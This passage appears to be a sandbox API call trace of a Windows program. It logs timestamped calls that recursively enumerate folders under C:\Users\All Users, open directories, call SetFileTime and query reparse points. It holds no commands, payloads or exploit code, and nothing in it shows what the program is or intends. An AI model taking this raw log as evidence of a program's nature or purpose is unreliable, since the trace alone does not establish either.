lpFindFileData=0x119ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcc07b40, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcc07b40, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vcRuntimeAdditional_x86", cAlternateFileName="")) returned 0 [0092.824] GetLastError () returned 0x12 [0092.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f6f0) returned 1 [0092.825] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.825] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136ff30) returned 1 [0092.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136f2d0) returned 1 [0092.826] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0092.826] GetLastError () returned 0x12 [0092.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x136e358) returned 1 [0092.826] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368268) returned 1 [0092.826] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1368ec8) returned 1 [0092.827] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcbbb880, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0xcbbb880, ftLastAccessTime.dwHighDateTime=0x1d2e621, ftLastWriteTime.dwLowDateTime=0xcbbb880, ftLastWriteTime.dwHighDateTime=0x1d2e621, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005", cAlternateFileName="")) returned 0 [0092.827] GetLastError () returned 0x12 [0092.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.827] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x1340e10) returned 1 [0092.827] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.827] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Start Menu", cAlternateFileName="")) returned 1 [0092.827] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.828] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Start Menu" (normalized: "c:\\users\\all users\\start menu"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.828] CreateFileW (lpFileName="C:\\Users\\All Users\\Start Menu" (normalized: "c:\\users\\all users\\start menu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xffffffff [0092.828] GetLastError () returned 0x5 [0092.828] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.828] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.829] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.829] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.829] GetLastError () returned 0x5 [0092.829] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Start Menu\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0xffffffff [0092.829] GetLastError () returned 0x5 [0092.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.830] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.830] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Sun", cAlternateFileName="")) returned 1 [0092.830] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.830] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun" (normalized: "c:\\users\\all users\\sun"), fInfoLevelId=0x0, lpFileInformation=0x119f3c0 | out: lpFileInformation=0x119f3c0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.831] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun" (normalized: "c:\\users\\all users\\sun"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0092.831] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f404, lpLastWriteTime=0x119f404) returned 0 [0092.831] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.832] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f45c, lpOverlapped=0x0) returned 0 [0092.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.832] NtClose (Handle=0x124) returned 0x0 [0092.832] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.832] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 [0092.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa398 [0092.833] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fa750 [0092.833] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e9000 [0092.833] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.833] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0092.833] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0092.833] GetLastError () returned 0x12 [0092.833] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Sun\\*", fInfoLevelId=0x1, lpFindFileData=0x119f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119f20c) returned 0x2e8f40 [0092.834] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.834] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.834] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 1 [0092.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.834] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java" (normalized: "c:\\users\\all users\\sun\\java"), fInfoLevelId=0x0, lpFileInformation=0x119f108 | out: lpFileInformation=0x119f108*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.834] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java" (normalized: "c:\\users\\all users\\sun\\java"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0092.834] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119f14c, lpLastWriteTime=0x119f14c) returned 0 [0092.834] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.835] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119f1a4, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119f1a4, lpOverlapped=0x0) returned 0 [0092.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.835] NtClose (Handle=0x124) returned 0x0 [0092.835] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.835] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd08 [0092.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcd90 [0092.836] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fce18 [0092.836] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9000 [0092.836] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.836] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 1 [0092.836] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 0 [0092.836] GetLastError () returned 0x12 [0092.836] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\*", fInfoLevelId=0x1, lpFindFileData=0x119ef54, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ef54) returned 0x2e9200 [0092.836] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.837] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.837] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 1 [0092.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.837] GetFileAttributesExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update" (normalized: "c:\\users\\all users\\sun\\java\\java update"), fInfoLevelId=0x0, lpFileInformation=0x119ee50 | out: lpFileInformation=0x119ee50*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0092.837] CreateFileW (lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update" (normalized: "c:\\users\\all users\\sun\\java\\java update"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x124 [0092.837] SetFileTime (hFile=0x124, lpCreationTime=0x0, lpLastAccessTime=0x119ee94, lpLastWriteTime=0x119ee94) returned 0 [0092.837] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x4000) returned 0x126d560 [0092.838] DeviceIoControl (in: hDevice=0x124, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x126d560, nOutBufferSize=0x4000, lpBytesReturned=0x119eeec, lpOverlapped=0x0 | out: lpOutBuffer=0x126d560, lpBytesReturned=0x119eeec, lpOverlapped=0x0) returned 0 [0092.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x126d560) returned 1 [0092.838] NtClose (Handle=0x124) returned 0x0 [0092.838] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.838] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcea0 [0092.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fcfb0 [0092.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd038 [0092.839] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e9000 [0092.839] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.839] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="")) returned 1 [0092.839] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd0c0 [0092.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd0c0) returned 1 [0092.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd0c0 [0092.840] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd0c0) returned 1 [0092.840] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd0c0 [0092.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x12f9458 [0092.841] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12fd148 [0092.841] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd0c0) returned 1 [0092.841] FindNextFileW (in: hFindFile=0x2e9000, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="")) returned 0 [0092.841] GetLastError () returned 0x12 [0092.841] FindFirstFileExW (in: lpFileName="C:\\Users\\All Users\\Sun\\Java\\Java Update\\*", fInfoLevelId=0x1, lpFindFileData=0x119ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x119ec9c) returned 0x2e90c0 [0092.842] FindClose (in: hFindFile=0x2e9000 | out: hFindFile=0x2e9000) returned 1 [0092.842] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.842] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="")) returned 1 [0092.842] FindNextFileW (in: hFindFile=0x2e90c0, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x77, dwReserved0=0x0, dwReserved1=0x0, cFileName="jaureglist.xml", cAlternateFileName="")) returned 0 [0092.842] GetLastError () returned 0x12 [0092.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fd038) returned 1 [0092.842] FindClose (in: hFindFile=0x2e90c0 | out: hFindFile=0x2e90c0) returned 1 [0092.842] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcfb0) returned 1 [0092.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcea0) returned 1 [0092.843] FindNextFileW (in: hFindFile=0x2e9200, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="")) returned 0 [0092.843] GetLastError () returned 0x12 [0092.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fce18) returned 1 [0092.843] FindClose (in: hFindFile=0x2e9200 | out: hFindFile=0x2e9200) returned 1 [0092.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd90) returned 1 [0092.843] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fcd08) returned 1 [0092.843] FindNextFileW (in: hFindFile=0x2e8f40, lpFindFileData=0x119f20c | out: lpFindFileData=0x119f20c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x803771e0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x803771e0, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x803771e0, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Java", cAlternateFileName="")) returned 0 [0092.844] GetLastError () returned 0x12 [0092.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa750) returned 1 [0092.844] FindClose (in: hFindFile=0x2e8f40 | out: hFindFile=0x2e8f40) returned 1 [0092.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12fa398) returned 1 [0092.844] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x12f1c30) returned 1 [0092.844] FindNextFileW (in: hFindFile=0x2e9080, lpFindFileData=0x119f4c4 | out: lpFindFileData=0x119f4c4*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307753b3, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307753b3, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307753b3, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Templates", cAlternateFileName="")) returned 1 [0092.844] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0x12f1c30 